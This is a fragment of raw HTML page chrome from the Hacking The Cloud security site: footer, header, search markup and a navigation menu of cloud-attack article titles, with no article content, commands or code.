2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/mosesrenegade class=md-author title=@mosesrenegade> <img src="https://avatars.githubusercontent.com/u/944551?v=4&size=72" alt=mosesrenegade> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#examples class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Security and Constraints </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ 